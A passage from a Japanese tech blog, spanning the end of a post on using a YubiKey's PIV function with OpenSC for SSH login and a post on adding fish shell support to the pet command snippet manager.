                    7c:67:c0:09:45:21:b5:ab:c0:aa:33:44:c0:28:4d:
                    6e:36:53:2a:e0:5e:af:5b:b3:d6:63:9a:84:7a:39:
                    2a:2d
                Exponent: 65537 (0x10001)

PIVを使ってsshする

Yubikey内の秘密鍵へアクセスするためには、OpenSCというオープンソースPKCS#11の実装を使う。

github.com

以下のコマンドで公開鍵を読み出せる。

❯ ssh-keygen -D /usr/local/opt/opensc/lib/opensc-pkcs11.so -e
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCVbHisxVZzu3ObyPoELzKtlRqWrk5BWo0JasnZDvsvN/yegayRWZ1ZUpLU2dI4lqk97Yit7qP9pITecX/uZVB1MnKqdcLKlSyepcpMzQs7C9H5WABdqs7sMEtCV/DskjSbZ5b1jXkTi8m/LqWMmVg0QxWKO3aIRbCP2lK8jHP7HM0FRzRqu0cJ6Yqkz7tYrqdgOxzMk5j9s5xn7kQNztxuxDH+x8eY3Jvi4LWI2i7lID9zxS20e4Zx0YGLnoMERq2Eg15BU3WuKbK3WjMiDL/6jaKuUgWu4lV8S+5BOOhIGXxnwAlFIbWrwKozRMAoTW42UyrgXq9bs9ZjmoR6OSot

公開鍵をログインしたい.ssh/authrorized_keysに追加する。

❯ ssh -I /usr/local/opt/opensc/lib/opensc-pkcs11.so test@ub.local
Enter PIN for 'PIV_II (PIV Card Holder pin)':

Last login: Sun May 21 13:06:18 2017 from 192.168.56.1
test@ubuntu:~$

PINを入力することでログインできる。

まとめ

YubikeyがサポートしているPIVを使って見た。

GUIでぽちぽちやってるだけで、基本的な設定が可能で、秘密鍵を安全に管理可能なのはよさそう。 また、sshで使うために特別大変な手順もなくて良い。

PINの入力を無くし、Yubikeyのタッチに変えられるらしいし試したい。

一部で話題のkryptcoも同様の仕組みを使っているし、何か違いがあるのか比較してみたい。 kryptcoは、以下に詳しく説明されている。 qiita.com

劇的にコマンドライン環境が快適になるpetのfishサポートをした話

前に使ったコマンドを実行したいとき、どうしてますか?

普段はfishを使ってるのですが、前に実行したコマンドを再度実行したい場合は、 peco_select_historyctrl+r で呼び出すようにしています。 そもそも、fishの補完が優秀なので使うまでもないことは多いです。

bashzshを使うときは組み込みの ctrl+r を使っていました。

慣れていれば、特に困りもしないのですが、pet という便利なスニペット管理ツールを使いはじめるとかなりコマンドライン環境が快適になりました!

macOSならbrewで簡単にはいります。

$ brew install knqyf263/pet/pet

基本的な使い方は、ツール作成者(Teppei Fukudaさん)のブログを見てください。

qiita.com

特に困ってなかったので、入れるかどうかも悩んでたんですが、READMEに書いてあるshellの設定をしてから見方がだいぶ変わりました。 ただし、READMEのzshの設定ではfishで動かなかったため、fisheroh-my-fish を使って設定できるようにしました。プラグイン管理ツールを使ってない人は雰囲気で ~/.config/fish/functions/スクリプト置けば動くと思います。

※ 現在は、以下の方法をpetのREADMEでも紹介してもらってます!ありがとうございます!

github.com

fisher を使うと、以下のコマンドでインストールできます。

$ fisher otms61/fish-pet

oh-my-fish を使っている場合は、以下のコマンドでインストールできます。

$ omf install https://github.com/otms61/fish-pet

コマンドラインで、 prevpet-select が使えるようになります。

fish_user_key_bindings を以下のように設定(layoutオプションはお好みで)すると、 ctrl+s で、 pet-select を呼び出すようにできます。

function fish_user_key_bindings
  bind \cs 'pet-select  --layout=bottom-up'
end

fishユーザの方は、ぜひ!